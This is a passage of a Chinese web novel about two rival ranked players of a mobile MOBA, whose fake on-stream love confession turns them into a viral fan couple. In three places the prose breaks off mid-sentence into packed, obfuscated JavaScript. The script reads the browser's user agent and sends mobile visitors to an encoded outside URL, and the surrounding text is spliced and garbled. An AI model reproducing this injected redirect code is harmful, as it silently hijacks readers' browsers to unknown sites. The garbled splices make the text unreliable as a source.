只听背后传来郁秋把手机丢在桌上的声音,嘟囔道:“不行就算了,我才不稀罕。” 许是觉得自己不搭理对方有点不礼貌,夜雨辰停下了脚步,回首看向郁秋,准确来说是他的腿上,硬生生地转了个话题:“其实我刚刚就想问你了。你坐在椅子上为什么要抱着个枕头?怕冷?” 郁秋从刚刚椅子转过来面对自己后,手就一直死死地压着腿上的枕头,这是什么毛病? 毛病哥一本正经道:“是的,我穿着短裤,很冷,拿枕头来盖盖。所以我们能加回来微信吗?” 夜雨辰嗤笑一声,选择性耳聋的答道:“怕冷还开这么大的空调。” 丢下这句话后,他就直接离开房间上了楼。 见夜雨辰终于离开房间,郁秋深吐一口气。 他重新拿起桌上的手机,给零落发了几条消息过去,然后把腿上的枕头丢回了床上。 只见原先枕头盖着的位置上,艳黄色的皇帝睡裤上有一处凸起物异常明显。 他揉了揉自己的眉心。 这么鲜艳好看的衣服还是有点弊端的。 * 夜雨辰一边上楼一边玩着自己的手机,给好兄弟们汇报‘进队情况’—— 【微信群:当0当1不当(3)】 【Night:兄弟们,我被资本做局了,和郁秋一个宿舍。】 【U:……?666】 【星:?999,孽缘也是缘,要不从了吧老夜。】 【Night:滚。】 他直接划掉后台,不去看损友们发的消息,反而打开另一个棕绿色的APP——‘Whisper Tree’。 这是一个很冷门的聊天软件。 一个可以匿名宣泄生活压力的树洞,却被很多居心叵测之人拿来‘cpdd’做网恋盲盒,所以也是一个被公认为“网恋厕所”的软件。 但这也是夜雨辰唯一一个还在用“Rain”做id的软件。 刚刚在房间里,他要是没看错的话,郁秋手机蹦出来的弹窗就是‘Whisper Tree’的图标。 这还是他第一次遇到现实身边的人也在用这么冷门的软件。 他看着自己列表里的好友——“有耳”。 这是他加的第一个好友,也是唯一的好友,是他第一次发布心事后,第一个回复他的人。 二人加上好友的这两年里,都很默契地没主动问过对方的名字、所在的城市、微信号等等个人信息。他们秉着平台的创作初心,只会偶尔互相倾诉自己的一些心事,聊聊自己的人生观。 而二人的聊天框显示的最近记录是在五天前—— 【有耳:过几天就要和TA在同个分部工作了,你说我该怎么和TA打好关系?两年了终于有机会了,好紧张啊。】 【Rain:不知道,没恋爱过,不过如果是我喜欢的人,我应该会想方设法打听对方爱好对症下药?】 【有耳:但我在行业里有些不好的传闻,我怕TA先入为主对我印象不好,而且我还怕我不是TA喜欢的类型。】 【Rain:既然是你喜欢的人就肯定有她的独特之处,不会轻易因为舆论就决定自己对一个人的看法,传闻不一定是真的,但你本人一定是真的,所以给她展示你最真实的自己就行了。】 【有耳:有道理。】 ...... 夜雨辰垂眸,静静地看着聊天的最后一句话。片刻后,他发出一条消息—— 【Rain:我刚刚又被秋耍了,你还记不记得他?就是两年前的那个傻逼。】 4. 第 4 章 两年前的那几天是真的让夜雨辰毕生难忘。 那时,他以‘中路一哥Rain’的id漂泊在GloryK巅峰赛的全国百强局,排到过各大主播和职业选手,并在他们的直播间里打出过无数个令人惊艳的操作。 久而久之,各大主播和路人都熟知了这个id,于是,他顺理成章的成为了众所周知的路人王之一,在音符平台上攒了几万个小粉丝。 那段时间,粉丝们都知道Rain正在冲刺全国第一。 而坐在第一位置上的那个人,是整个GloryK公认的最强路人王——‘NO.1秋’。 秋在游戏里最火的名场面是坐稳“全国第一”一整个赛季,且从未被超越过一次。 他将T0英雄的操作玩到了极致,因此,他是很多打野玩家的偶像,甚至有些人会直接叫他“秋神”。 不过自那个赛季后,秋就退游了。 直到一个月前他才重新归游,而且不负众望地再次登顶全国第一并稳坐到了现在,依旧从未有人超越。 而上周Rain的排名定榜就是第二名。 准确来说,这一个月的每周定榜第二几乎全是Rain。 夜雨辰对秋是真的恨得牙痒痒的。 不是因为秋重新开始打巅峰赛后,他每次排到秋在对面的胜率一直是0,也不是每次他差一把分数就能超过秋,成为第一的时候,秋就一定会匹配成自己的对手,然后把自家的野区当成他家的来刷,技不如人他也认了。 他只恨这一个月的对局里,每次秋只要在自己的视野范围内杀死自己的队友或自己后,他就一定会对着自己疯狂点回城嘲讽。 那回城“叮叮叮”的特效声真的是嘲味十足! 而且,每次晋级赛他那俩兄弟都说要亲眼见证“将秋拉下神坛”这历史性的一幕,加上他自己也想装这个逼,于是,每次晋级赛他都是打开直播打的。 所以夜雨辰的粉丝们也都知道了这件事—— 每次Rain的晋级赛都会被秋葬送,而且他每次都会被秋认出来并被无情地回城嘲讽。 一想到这个,夜雨辰就抓心挠肺地烦。 为什么每次晋级赛都能排到秋在对面? 为什么秋每次都能认出来自己是谁? 而且为什么他每次都要嘲讽自己?就因为自己一直从他手里争不下这个第一吗? 百般犹豫之下,他最终决定今天不开直播打晋级赛了。 【游戏加载中……】 【匹配成功】 一进英雄BP页面,夜雨辰第一时间就是先扫一眼队友的常用英雄。 “……艹。” 看到队友们的常用,他下意识轻骂了一声。 这把他在五楼,最后一个选英雄,而一、三、四楼的队友常用英雄显示的全是打野。 队友撞位置的对局一般都很难赢。不仅是因为总会有人去补自己不擅长的位置容易让队友陷入逆风,主要还是容易遇到一些心态极端的人会因为没位置而不在乎输赢,直接摆烂。 他默默地预选了自己最c的中单英雄火舞,一边暗戳戳地骂匹配系统又在他的晋级赛给他下绊子,一边感叹还好自己没开直播不会再次出丑,并做好这把要打逆风局的心理准备。 三个打野玩家见位置分配不均,开始了沟通交流。夜雨辰和二楼完全没有去掺和他们的分配,他们俩一个玩中路,一个玩边路,补位的人自然而然都会去玩队友不玩的位置。 三楼一开始就退出了争夺,很自觉地发了一句去补射手的消息,但一楼和四楼明显都不想把打野位让给对方,纷纷开启麦克风沟通。 他们俩一个好声好气,一个咄咄逼人。 一楼:“四楼哥你可以补一把吗?我可以带你躺一把。” 四楼:“不补辅助,我玩打野。” 一楼:“真的兄弟,我不骗你,你看我现在六个大国。” 四楼:“那咋了,打这个游戏谁没几个国标?” 一楼:“哥们我现在全国第一,可以给个位置吗?” 四楼:“去你丫的全国第一,你说是就是?你今晚已经是第五个骗老子自己是秋的人了!我话就撂这了,今天秋来了都没用,我要玩打野!” 游戏对局一旦进入加载页面,每名玩家的右上角都会显示他们上周的全国排名。 GloryK的玩家都默认分高的强者可以有选位置的优先权,因为谁都想躺赢被带飞,但由于BP界面根本看不到每个玩家的排名,所以总会有不少人为了拿到自己想玩的位置而谎报自己的排名。 二人还没商量好谁玩打野,就轮到一楼选英雄了。 只听一楼无奈地叹了一声气,直接锁下了打野东方镜。 “你!” 四楼见自己要玩的位置没了,直接预选辅助瑶,冷笑道:“我告诉你,过会进去你但凡比你说的排名低了一名,这把你求着我我都不会出辅助装,你不是喜欢带飞吗?我这一整把就只跟你。” 只要不出辅助装就会分摊队友的经济影响队友的发育,从而影响一整把的对局节奏。 而在这种顶端局,干扰经济分配可以说对整个团队是致命的。 夜雨辰瞬间了然这人是什么意思,心中一紧。 瑶是最受玩家欢迎的辅助之一,大招是挂在一名队友身上,给这名队友套盾。 但很多喜欢摆烂的玩家发现,这个英雄也是最好恶心队友的辅助。毕竟这英雄的机制不仅在局内团队作用不大,而且一旦开个大招挂在别人身上,别人甩也甩不掉,而且还可以分摊他们的经济,是个特别搞人心态的打法。所以很多人,特别是高分段的玩家每次一想摆烂就都会玩这个英雄。 但夜雨辰可一点都不想输这把晋级赛。 他再也无法袖手旁观,直接打开麦克风劝道:“好兄弟别气,相信一次一楼吧,他要是坑了你对局结束后再骂也来得及的,你躺好就行了,我们带你飞,不要摆,其他三个队友是无辜的。” 这时候,刚好轮到四楼选英雄。他刚把自己英雄的召唤师技能从“治疗”改成“惩戒”,还没来得及锁点击‘锁定’,就听到了夜雨辰的话。 他沉默了一会,像是反思到了自己的行为会让无辜的队友白白输掉游戏,只好讪讪道:“哦,那好吧。” 下一秒,他突然把辅助瑶换成了中路猫咪并果断锁定,顺便把召唤师技能的“闪现”改成了“惩戒”,笑嘻嘻道:“这样你就不无辜啦,少数服从多数,其他两个队友只能委屈掉一把分咯。反正我打野位也没了,这把大家随便玩哈~” ??? 夜雨辰瞪大双眸。 他没想过自己好声好气的劝阻直接换来了被抢位置的结果。 那他玩什么? 他咬紧牙关,深吸一口气,强逼着自己和生和气道:“我现在全国第二,全国服中单,你和我换英雄,我保证带你飞,输了的话你可以来骂我。” “噗。”四楼没忍住笑出声,“你在逗我笑吗兄弟?我一把能同时排到全国第一和全国第二做队友?匹配机制会对我这么好?撒谎还知道打草稿,但可惜,打的不多,你们两当中要是有一个真的,打完这把我直接直播给你们磕头道歉!” 随即,他无所谓道:“当然,只要有一个人谎报分数,你们这把一个人都别想赢。” “……” 夜雨辰忍着自己的怒气,没有再次说话。 他肯定是没有谎报自己排名的,但是这个一楼他就不清楚了。 而且他要是还想赢就不能现在怼人,如果影响到其他队友的游戏心态导致他们的操作变形,那这把必输无疑。 此时,刚刚好轮到夜雨辰选英雄了,但他迟迟没有选择英雄。 一楼见五楼的中单没了,开口道:“五楼哥,你别管四楼,他不敢摆的,你实在不知道玩什么就选个瑶跟着我就好,我带你躺。” 闻声,夜雨辰幽幽地把视线撇到瑶这个英雄的选择框上。 因为不会辅助所以就让他拿个挂件英雄,然后将对局输赢的掌控全权交给队友? 让他去相信双c补位,特别是还有一个想摆烂的队友能带他赢? 他冷哼一声,果断地锁下T0辅助大乔。 呵,怎么可能。 与其相信队友,不如将整局的节奏掌握在自己手里。 一楼见已经锁下的英雄,只好道:“没事没事,会玩就行。” “不会。”夜雨辰冷声道。 何止不会,他甚至从没玩过辅助。 一楼顿时语塞,干咳了两声:“……小问题小问题,能赢就行。” 四楼嗤笑道:“有什么不敢摆的?抢了位置还想着赢呢哥们?” 双方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081098|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选完英雄,游戏直接进入对局加载页面,每个人的真实排名在此公之于众。 东方镜加载框的右上角数字标‘1’和大乔加载框的右上角数字标‘2’伴随着排名框自带的闪电特效,在加载页面熠熠闪烁。 这时,不管是游戏声还是玩家的说话声突然都安静了下来,只有对局加载进度条的推进和那闪烁的线条在证明他们的手机并没有出现卡顿。 突然,一楼轻笑出声:“快开摆吧,两千名的四楼哥,我这个排名应该还是配拿打野的吧?而且我在一楼,优先选择自己想玩的位置也是合情合理吧?” 四楼:“……” 见自己的话没有得到回应,一楼感到疑惑:“四楼哥,你怎么突然不说话了?加载页面也不能关闭麦克风啊,我卡了吗?你可千万要摆我啊,毕竟你都刻意带个惩戒了,不摆多可惜,你不会看到个‘1’和‘2’就不敢摆了吧?” 四楼:“…………” 一楼的嘴依旧没停:“对了,你刚刚说过什么来着?‘如果有一个是真的就要磕头道歉?’那我们两个真的,你是不是要磕两份?我们俩可都是货真价实的第一第二,而且也巴不得你现在就开摆呢。” 特别怕队友摆烂的夜雨辰冷冷地接着道:“在哪播?我去给你捧场。” 四楼:“………………” 一进游戏对局,四楼的蓝色麦克风标识瞬间关闭,变成了只能听队友说话的蓝色喇叭,并老老实实的上线中路,完全没有任何摆烂的意思。 见状,一楼又奇怪道:“我没骂队友吧,我说了什么过分的话吗?为什么他把麦克风关了?” 夜雨辰同样看到了被气到闭麦的四楼,但他现在的重点并不在此。他深吸一口气,硬生生从喉咙里憋出来了一个字:“……秋?” “咳咳咳咳。” 打野立马呛了几声。 夜雨辰冷声道:“是你吧?” 真正的排名一显露出来,谁都知道这数字“1”和数字“2”的玩家究竟是谁。 毕竟排名可以乱报,但加载页面的数字却无法造假。 打野的声音突然放低了下来,开始指挥前期布局道:“R……辅助去踩好中右视野,这把不用管射手,让他一个人玩去,这把我,我们打对面野区。” 见对方忽视了自己的问候,夜雨辰冷笑一声。 怂蛋秋,只敢在对面嘲讽自己,现在他们俩同队了这人连个小小打个招呼都不敢打。 不过,他们俩是队友说明这把游戏不管输还是赢,夜雨辰都无法晋级到全国第一。 既然如此,虽然他还是想赢的,但他们俩难得一个阵营,加上秋以前在自己对面的时候吃了自己不少分数,他不礼尚往来送秋一个“惊喜”可说不过去了。 夜雨辰心生一计,没忍住翘起嘴角,轻咳了两声,同样把自己的声音放低了下来:“之前我们一直是对手,你不仅把把吃我的分,还次次嘲讽我。现在我们好不容易做了一次队友,你刚刚在bp页面还喊我哥,结果现在你一知道我是谁就对我的招呼声不理不睬……” 他停顿了一下,似是呜咽了一声,缓缓道: “难道就因为我喜欢你,所以你就要对我如此冷漠吗?” 说完这句话,他就没忍住全身一抖擞,立马关闭了麦克风呸了几声,鸡皮疙瘩瞬间遍布全身。 但没关系,只要能恶心到秋,自己遭一下这小罪也没什么大不了的。 此话一出,除了夜雨辰,其余正在上线的四个队友顿时都停滞了一瞬。 半晌,秋像没听清对方说了什么,半信半疑道:“你说……你喜欢我?” 夜雨辰忍着肉麻,重新打开麦克风,咬牙道:“是啊,但我每次晋级赛都被你……” “原来如此。” 话还没说完,秋就平静地打断了他的话。 听到这句话,夜雨辰心里突然“咯噔”一下。 怎么就‘原来如此’了?他话不是还没说完吗? 难道对方已经看出来他的意图了? 只听秋继续冷静地指挥局内,道:“边路记得看一下家里蓝区以防对面来反,中路和我一起抢线,对面抢不过我们的,然后我们一起去反野,至于辅助……” 突然,他的声音明显柔和了一个大度,轻声道:“Rain宝去卡着河道,等我们抢完线一起去反蓝。” 5. 第 5 章 听到这个称呼,夜雨辰全身僵住了。 他不敢相信自己刚刚听到了什么,愣愣道:“……你叫我什么?” 秋理所当然:“Rain宝啊。你不是说我对你不理不睬的吗?这么叫不就不会显得生分了?” 夜雨辰的脸色瞬间黑如锅底:“滚,别搞队友心态。” 不是他要恶心秋吗?怎么变成自己先被对方恶心了? “好吧好吧,知道你害羞了,”秋很快就帮中路抢完了二级线,兴奋道,“走,反蓝反蓝!” 去你m的害羞。 夜雨辰黑着脸往对面蓝区靠去。 恶心归恶心,但不能影响到自己上分,这打野会玩,所以他的指挥还是得听的。 他从开局到现在半分钟,一直没学技能。 “大乔”一共有四个技能,辅助的技能主要有两个,一个是需要五秒缓冲,然后可以送一名血量最低的队友回家的二技能传送阵,另一个就是能召唤所有队友的大招传送阵。她的一技能和三技能全是小控制范围法伤,有点像中单英雄,所以对夜雨辰来说上手并不是很难。 但他现在只有一级,只能在一、二、三技能里先学习一个技能。一级的大乔可以说几乎没有任何强度,秋敢开局就去对面反蓝也是因为他们这边中野前期强度比对面高,而且阴差阳错下,他们带了两个惩戒,所以他们对buff的斩杀线会比对面高。 对面的打野露娜正在草里打蓝buff,辅助和射手也都在帮他提速,对面中单看秋和猫咪一抢完线直冲自家蓝区,兵线都不吃了,也直奔自家的蓝区。 野怪相当于是全图的中立资源,是两队拉开经济差距的关键之一。所以游戏前期,守住家里野区会比兵线还重要。 由于对面三个人都在打蓝buff,所以蓝的血条掉得特别快,根本来不及让夜雨辰这边和对面打拉扯消耗状态。 如果想反到蓝,只能让秋和猫咪同时冲进去和对面打野一起拼惩。 双方打野此时都是一级,谁先抢到蓝buff谁就可以先升到二级,率先获得团队优势甚至可以杀死对面的打野。 哪边打野死了,哪边的团队节奏就算直接掉了一大半,可以提前为己方建立一个开局优势。 秋看到对面野区的三个人以及正跟在他们屁股后支援的敌方中单并没有丝毫退意,依旧想着强行反野。反而中单猫咪一看到对面四个人在野区,一想到他们是三打四的场面,加上他自己本身就是打野玩家,下意识断定这个buff已经无法反到手,明显开始犹豫到底要不要反这个野。 夜雨辰见中单开始退缩,心中一紧,立马学习了完全没有伤害和控制的二技能,将传送阵丢在了对面正在打蓝的草里,大喊道:“别卖打野!” 猫咪听到这句话,才立马开二技能加速,赶上秋的反野速度。 但是他这犹豫的一秒,就导致了秋的东方镜一个人冲进对面草里,硬生生的吃了对面四人的一套攻击,血量瞬间就只剩下三分之一了。 这时候,猫咪才姗姗来迟。 他冲进人堆帮秋拆火,近身打出二技能的二段控制,控住了对面的打野一秒,蓝buff的血线在下一秒刚好到了惩戒的斩杀线。 “咻!”“咻!”“咻!” “嗖!” “First Blood!” 三个惩戒释放、大乔的传送阵缓冲成功和一血播报的声音几乎同时响起。 “刺激!” 秋一回到泉水才开始继续说话。他在那感叹道,“宝宝你这二技能学的太好了,你真的不会玩这英雄吗?意识绝了,有几个大乔一级会学二技能的?我还以为我死定了,这就是爱……” “你再这么叫我我直接去送了。” 夜雨辰毫不留情地、冷漠地打断了秋的一连串马屁,即使他现在也正因自己打出极限救援而控制不住翘起嘴角。 这波反野,他们野辅二人全程没有沟通就反到了对面的蓝buff,而且秋在升到二级的瞬间打出一套小爆发连招,直接当着对面三个人的面收下了对面打野的人头,最后刚好落在大乔的传送阵上,在对面三个人技能刚好、扑向自己的刹那,他直接带着对面的蓝buff逃之夭夭传送回了家。 至于夜雨辰的站位一直保持着跟对面至少两个闪现的身位,所以对面根本没有人能管住她的离开;而中单猫咪因为没有第一时间跟上打野的节奏,加上带的技能是“惩戒”,所以唯一能用来位移逃跑的二技能一进空窗期,只能原地等死。 双方一换一,但夜雨辰这边反到了一个蓝buff,并率先拿到了一血,而且对面掉点的是打野,所以总的来说,他们这边稳赚不亏。 一听到夜雨辰要送人头,秋瞬间认怂:“别别别,别送别送,我错了。” 此时,夜雨辰正在帮秋打自家的红buff,秋立马赶了过去。 有辅助提速的帮助,他们很快刷完了自家野区。秋顺便在中路蹭了两波中路线将经济迅速地刷了起来,夜雨辰很快补充了自己的状态一下,直接去帮射手抢线,升到四级后,团队四个人直接一起去反对面第二个蓝buff。 虽然两个人全程开着麦指挥,但是几乎没有任何一句话是对对方沟通的,只有在叫队友要做什么注意什么,以及报对面位置的点位,就好像他们俩早就商量好了这一把应该怎么打节奏。 但夜雨辰越来越觉得秋在报复他了。 秋每一波指挥的时候,都是冷静分析报点报技能,但只要他的对话对象变成了自己,那语调就会变得特别……恶心。 特别是对方还一口一个‘宝宝’的喊他。 不过,他们野辅二人将团队的游戏节奏带的天衣无缝,对面全程只能被牵着鼻子走——上一秒秋还在上路抓人,下一秒他就被夜雨辰的大招召唤到下路,五个人一起推塔拿龙,顺便再反下一个蓝buff;上一秒中射边三人都在上路推塔,下一秒,夜雨辰开个大招把全部队友摇到中路推中路一塔;对面打野想着把自家野区放给秋,自个跑去远端线带兵线刷经济,却总能被秋提前预料并截胡抓死…… 二人给团队创造出的优势让五个人这把游戏打得极度舒适,而对面由于意识的差距,丝毫没有反抗之力。 秋在这把已经杀疯了,但夜雨辰明显注意到,不管秋杀了几个人,他都没有按过一次“回城”键。 夜雨辰心里顿时就有股说不出来的憋屈感。 秋对自己可不是这样的,他可是每杀一次人就回城嘲讽一次自己。 他操纵着手中的辅助,似无意地经过正在打蓝的秋的旁边,突然,他疯狂对着东方镜不停地回城,嗤笑道:“你打野的回城键被抠了吗?怎么这把不见得你杀一个人回一次城?” 秋打蓝的动作一顿,下一秒,他转过身,也开始对着夜雨辰疯狂点回城,轻笑道,“忘了,谢谢提醒。” 听着这熟悉又烦人的回城特效声,夜雨辰冷哼一声,直接无视了对方的嘲讽,并立马用技能把对方停手打的残血蓝buff收入囊中,然后逃之夭夭。 看着自己的蓝buff就这么水灵灵地被大乔收走,秋无奈地轻笑了一声,直接跑去对面重新打了一个新的蓝buff。 最后,这把对局在他们俩的节奏下毫无悬念地获得了胜利。 推水晶的时候,秋又开口道:“宝宝,你真的玩得比我遇到的好多国服大乔都强好多,而且我们的配合真是太天衣无缝了,强到我想把你这个辅助占为己有了。” “。” 夜雨辰浑身瞬间布满恶寒。 我靠。真的是太恶心了。 他再也忍不住,直接开口喷道:“滚啊死gay!你特么能不能给我说一句人话?!” 听到这句话,秋委屈了起来:“你骂我干什么?你不是说我对你冷漠吗,我这可都是发自内……” 话还没说完,对面的水晶就被推了,队内连通的语音戛然而止。 夜雨辰跟没反应过来已经获得胜利了一样,死死地盯着“Victory”的游戏界面。 他的双手不自觉地愈发用力地抓着手机两端,恨不得下一秒就把机子掰成两半。 后悔,真的是太后悔了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081099|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他为什么开局要嘴贱去恶心秋? 本来被抢了位置就烦,结果还因为自己一句想恶心人的表白,成功被秋恶心一整把。 虽然往好处想,还好这把游戏他没开直播,不然才是真正的糗大…… 等等,直播? 秋不会开着直播打游戏了吧?! 一想到这个,他心中大惊,完全来不及看这把的战绩,立马划掉游戏后台,打开秋的音符平台主页。 秋的个人主页只有一个证明这个平台账号是秋本人的作品,和一段极短的个人简介。除此以外,再无他物。 看到秋的账号并没有显示“直播中”三个大字,夜雨辰紧绷的肩膀才松懈了下来。 很好,那就让这一把的尴尬就这么随风而去吧。 他重新登回游戏,再次开启了不知道是第几次的全国第一晋级赛。 这一把游戏,不知道是不是因为上把被秋恶心到生气的缘故,夜雨辰超常发挥,不仅终于摆脱了“晋级赛排到秋”的魔咒,还终于圆梦,第一次登上了“全国第一”的位置,将秋挤到了第二名,成为GloryK里第一个打破“No.1秋霸榜第一”神话的玩家。 看着结算页面大大的数字‘1’,夜雨辰并不激动,反而一脸平静。 他淡定地截着手机界面的图,只要是和“1”有关的画面,他都没有放过,然后他不经意地手滑,把截图发到了各个平台—— 【微信群:当0当1不当(3)】 【Rain:[图片][图片][图片]……】 【Rain:秋是谁?/踩/踩,不是随意拿下的吗?】 【Whisper Tree】 【Rain:全国第一了,我可是这个游戏唯一一个打破‘神话’的玩家,是不是比那些自诩天才却上不来的菜鸡强?】 打开音符平台,夜雨辰直接把全部截图一口气发布成一个作品—— 【中路一哥Rain:小小第一,轻松拿下。】 …… 只要是能发表言论的地方,他都没有放过。 不过秉着“要低调”的心里,他并没有第一时间去看自己好友和粉丝的回复,而是打算先去洗个澡放松放松。 毕竟一口气看到一堆人的崇拜夸赞,那才是真正的爽。 二十分钟后,洗完澡的夜雨辰悠哉游哉地躺上床打开手机,完全做好了迎接一大波吹捧的心里准备。 【Whisper Tree】 【有耳:恭喜,辛苦了。】 【微信群:当0当1不当(3)】 【U:干得漂亮!终于把这个傻逼挤下去了,以后我们Rain才是GK的真神!】 【星:666,你爹这就斥巨额给你买个‘符特+’,让你去装个爽。】 【星:Woc老夜你那评论区是什么鬼?你跟秋发生什么了??】 看着这莫名其妙的一句话,夜雨辰眨了眨眼。 什么意思? 但一提到和秋相关的东西,他心底就隐隐升起一股不好的预感。 他微皱起眉头打开音符平台,刚刚发布的作品。 一看到其点赞和评论的数量,他的眉头皱得更紧了。 平常,夜雨辰发一个作品二十分钟,最多最多就只有刚破百的赞数,但这次,他作品的点赞数已经直逼四位数。 反常,特别的反常。 这是哪来的流量? 游戏里上个全国第一会一瞬间给他涨这么多流量吗? 不祥的预感越来越重,明明他才刚洗完澡,此时浑身上下却开始不自觉地发冷。 不会是…… 他将目光放到了评论区,吞了一口唾沫,缓缓地打开了它。 率先蹦到眼里的评论,直接让他两眼一黑。 以前,他的作品评论全是“Rain牛逼”、“哥哥求带”、“主播太强了”类似的话。全是各式各样的夸赞吹捧或搭讪言论。 但这次,他的评论区只有清一色的、来自不同人的相同的四个字—— “秋雨99” 6. 第 6 章 翻遍了整个评论区,夜雨辰终于知道这突然飙升的流量究竟是从哪来的了。 “……就因为我喜欢你,所以你就要对我如此冷漠吗?” 直播回放的画面中,正在上线的射手在原地滞了一瞬,然后满声诧异道:“啊?Rain这是在说什么?这种话是我可以听的吗?这是能说的吗?” 秋的指挥声很快接着响起:“Rain宝去卡着河道……” 主播没忍住呛了几声:“咳咳咳,我去,这是秋的声音??我滴个乖乖他怎么突然夹成这样了,他刚刚还不是这个声音啊??” …… 野辅两人在自家蓝区相互回城嘲讽的时候。 Rain:“你打野的回城键被抠了吗?怎么这把不见得你杀个人回次城?” 秋:“……忘了。” 下一秒,Rain的辅助就把打野的蓝buff给收了。 刚回到泉水的射手看到这个场面,震惊道:“哇塞,你们搁那回城倒是真回来一个啊?我没蓝了就让我回家,然后让一个能随时回家的满蓝辅助拿蓝?我俩到底谁是c位啊?家人们来给我评评理,这打野我能骂他吗?” 话是这么说,但明显听得出来这个主播的笑意已经完全掩盖不住了。 水晶爆炸的时候。 秋:“……我想把你这个辅助占为己有了。” Rain:“滚啊死gay!你能不能……” 听到这段对话,作为队友的主播已经完全笑得合不拢嘴了:“笑死我了,二位注意言辞注意言辞,直播间里有未成年的,收敛点啊!少儿不宜的画面,直播里的观众都不能学哈。” 最后战绩结算页面,主播翻看着野辅二人的个人主页,整个人就像是吃到一顿超级美味的大餐,美滋滋道:“之前撞这俩人做队友的时候也没见他俩这么有节目效果啊,这两人同队怎么这么有意思?躺赢了躺赢了。” “………………” 看完直播回放的全程,夜雨辰默默地划掉直播后台,打开了微信。 怪不得这个射手几乎单机了一整把也从不抱怨辅助不跟他,本来还以为是因为这人补位射手,怕坑队友c不起来导致全局崩坏,所以才默默抗压发育。 现在知道了,原来他是一直搁在直播间里偷笑呢。 【微信群:当0当1不当(3)】 【U:好消息,你和秋都没直播打游戏;坏消息,队友是GK圈里最火的技术主播之一南黎,你俩被公开‘秀恩爱’了。】 南黎每次直播的观看人数可都是破六位数的,再配合上他直播里那难以掩盖的笑意、观众的实时观看以及秋和Rain在GK圈里的名声,一些网友在这把对局一结束的时候就觉得这两个人好有cp向,直接冲去夜雨辰和秋的音符平台作品下评论刷屏“秋雨99”了。 【星:太惨了,只有亲兄弟能看出来你一开始是想恶心他,结果反被调戏了一整把,现在还直接变成你俩成一对了。真好,省钱了,这晋级第一的‘符特+’我都不用买了。】 【星:不过老夜,你这想的是什么损招啊?伤敌一千自损八百。你说那段话的时候我都怀疑你是不是被什么鬼附身了。】 看着好友的吐槽,夜雨辰无力地笑了一声,垂死挣扎般发了一条消息。 【Rain:你们说,如果我现在去发个作品,直接就说我和秋完全没有任何关系会有用么?】 【U:肯定没用。别人哪会管你们认不认识,特别是在他们眼里你可是……】亲口表白了。 【星:要我说,现在你不如就装啥也不知道的样子,继续装逼就行了,反正网友的记性也就这样,时间一长就没人提什么秋雨了,只会记得Rain打破了秋的神话。不过你这几天也别看这个平台了,毕竟眼不见心不烦的。】 这个想法确实和夜雨辰的不谋而合了。 反正网友大部分都是跟风凑热闹的,坐视不理几天一般就会好了。 【Rain:那就这样吧,我累了,睡觉了。】 【U:真是无妄之灾啊夜哥,不过你现在怎么都这么忙?】 夜雨辰瞥了一眼消息,并没有回复。 他心累的直接把手机丢到一旁关灯睡觉。 自从他完全下定决心要去打职业后,本来可以轻轻松松打一整天游戏的日子瞬间烟消云散。他必须先把现实该做的事情在两年内做完并做好才能去追自己的职业梦。可他又得稳住自己的技术而不得不继续打游戏,特别是现在还有实现自己从未上过的“全国第一”的机会。所以,他现在打游戏的时间全是靠自己高效率挤出来的。 同时做两件需要特别专注且耗时的事情,还要做好,是个不小的挑战,压力也不小。 不过他从不怕压力,也完全不怕自己做不好手头上的事情,只是他从没这么又忙又累过,虽然枯燥但又充实,全身心都好像有用不完的动力一样。 这莫名其妙的评论小风波是他意料之外的事情,而且如果他没猜错,可能这几天,甚至这一两周内他都会见到‘秋雨’相关的字眼。 毕竟这把游戏相当于他和秋一起送了个小话题给南黎。南黎是个大主播,做自媒体有经验,肯定不会放过这种送上门的素材。 他可以在不暴露他们俩二人游戏id的情况下发布作品,而那些观看了直播的观众们,就会在评论区直接把他和秋的id暴露出来。 Rain和秋可是玩家公认的路人王,虽然他们俩平台粉丝数量加起来不如人家的十分之一,但名声在GK圈还是不小的。 不过,虽然夜雨辰真的不想和秋捆在一起,但他也懒得去说明二人到底认不认识,他没这个时间和精力。 他还记得当初创建音符平台账号自证他是‘Rain’的时候,他都花了不小的功夫。 这次也算是他自作孽,所以网友爱咋说就咋说吧,反正最后对他又造不成多大的伤害,他们也掀不起什么大风大浪。 热度一过大家就会把这件事忘的差不多了。 第二天晚上,夜雨辰一如既往地在忙完后才开始玩手机。 他直接上线游戏,习惯性的去看一眼并清理那些充满各种花言巧语或工作邀请的游戏申请列表。 Rain的实力和名声就摆在那,不少人借着好友申请跟他对话,也有人会企图要到高手的好友位,更有一些青训营、或是直播公司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081100|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邀请他去做职业选手或主播。 但今时不同往日,今天,夜雨辰的申请列表上的备注内容主要分成了三种类型—— 第一种,是夸赞或恭喜他终于登顶第一的。 